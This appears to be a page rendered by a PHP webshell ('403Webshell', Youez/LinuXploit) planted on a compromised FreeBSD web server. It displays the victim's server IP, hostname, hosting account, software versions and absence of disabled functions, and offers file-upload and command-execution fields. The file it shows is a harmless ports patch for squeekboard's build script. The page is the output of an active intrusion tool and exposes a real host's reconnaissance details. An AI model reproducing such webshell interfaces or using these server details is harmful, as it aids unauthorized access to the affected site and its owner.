403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/x11/squeekboard/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/x11/squeekboard/files/patch-cargo__build.py
--- cargo_build.py.orig	2021-09-10 16:56:00 UTC
+++ cargo_build.py
@@ -6,6 +6,7 @@ instead of the source tree.
 """
 
 from pathlib import Path
+import os
 import shlex
 import subprocess
 import sys
@@ -43,7 +44,7 @@ if out_path:
     out_basename = out_path.name
     filename = filename or out_basename
     subprocess.run(['cp', '-a',
-        './{}/{}'.format(binary_dir, filename),
+        os.path.join('.', os.getenv('CARGO_BUILD_TARGET', ''), binary_dir, filename),
         out_path],
         check=True)
 

Youez - 2016 - github.com/yon3zu
LinuXploit